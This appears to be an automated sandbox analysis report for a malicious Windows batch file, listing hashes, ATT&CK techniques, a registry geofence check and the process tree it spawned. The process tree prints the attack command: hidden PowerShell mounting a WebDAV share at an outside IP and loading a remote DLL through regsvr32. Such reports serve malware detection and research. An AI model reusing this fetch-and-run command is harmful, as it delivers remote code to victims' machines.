ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551

Analysis

max time kernel
140s
max time network
103s
platform
windows10-2004_x64
resource
win10v2004-20240709-en
resource tags

arch:x64arch:x86image:win10v2004-20240709-enlocale:en-usos:windows10-2004-x64system
submitted
21/07/2024, 01:16

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General

Target

5623205342853313428.bat
Size

10KB
MD5

15fb0171780a044b55f6eebdcb475d37
SHA1

fa3021377ecced794887b3903e7610934d3f1407
SHA256

ee13a9bc7f8f60001dd5bdc13fb21cdc5ffe58ec97511f445fd9b78dbdedd551
SHA512

a6d9586194f84a52a9543d37381249c036e1617cc3536be520febe3492e643e865666a91662cd916d147e09684942e1518ab3a7aa69f3a8db6d3c9dcaa6f423c
SSDEEP

192:8us5mDgVA3JR0O2uElDefMOyxyDoX666teX666JsgJ67ZwofwwGmmB:8usUScT0KUqfMOoy8X666IX666JsgJ64

Score

8^/10

execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
3604	powershell.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-1176886754-713327781-2233697964-1000\Control Panel\International\Geo\Nation	cmd.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082
Runs net.exe

Suspicious behavior: EnumeratesProcesses 2 IoCs

pid	Process
3604	powershell.exe
3604	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	3604	powershell.exe

Suspicious use of SetWindowsHookEx 5 IoCs

pid	Process
1036	wordpad.exe
1036	wordpad.exe
1036	wordpad.exe
1036	wordpad.exe
1036	wordpad.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 5072 wrote to memory of 1036	5072	cmd.exe	85
PID 5072 wrote to memory of 1036	5072	cmd.exe	85
PID 5072 wrote to memory of 3604	5072	cmd.exe	87
PID 5072 wrote to memory of 3604	5072	cmd.exe	87
PID 3604 wrote to memory of 4020	3604	powershell.exe	89
PID 3604 wrote to memory of 4020	3604	powershell.exe	89
PID 3604 wrote to memory of 748	3604	powershell.exe	90
PID 3604 wrote to memory of 748	3604	powershell.exe	90

C:\Windows\system32\cmd.exe
C:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\5623205342853313428.bat"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:5072
- C:\Program Files\Windows NT\Accessories\wordpad.exe
  "C:\Program Files\Windows NT\Accessories\wordpad.exe"
  2⤵
  - Suspicious use of SetWindowsHookEx
  PID:1036
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -windowstyle hidden net use \\45.9.74.36@8888\davwwwroot\ ; regsvr32 /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:3604
- - C:\Windows\system32\net.exe
    "C:\Windows\system32\net.exe" use \\45.9.74.36@8888\davwwwroot\
    3⤵
    PID:4020
- - C:\Windows\system32\regsvr32.exe
    "C:\Windows\system32\regsvr32.exe" /s \\45.9.74.36@8888\davwwwroot\12258268996821.dll
    3⤵
    PID:748

C:\Windows\system32\svchost.exe
C:\Windows\system32\svchost.exe -k PrintWorkflow -s PrintWorkflowUserSvc
1⤵
PID:1796

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_ew4mlfxm.lnc.ps1

Filesize
60B

MD5
d17fe0a3f47be24a6453e9ef58c94641

SHA1
6ab83620379fc69f80c0242105ddffd7d98d5d9d

SHA256
96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

SHA512
5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

Download Submit
memory/3604-0-0x0000016849250000-0x0000016849272000-memory.dmp

Filesize
136KB

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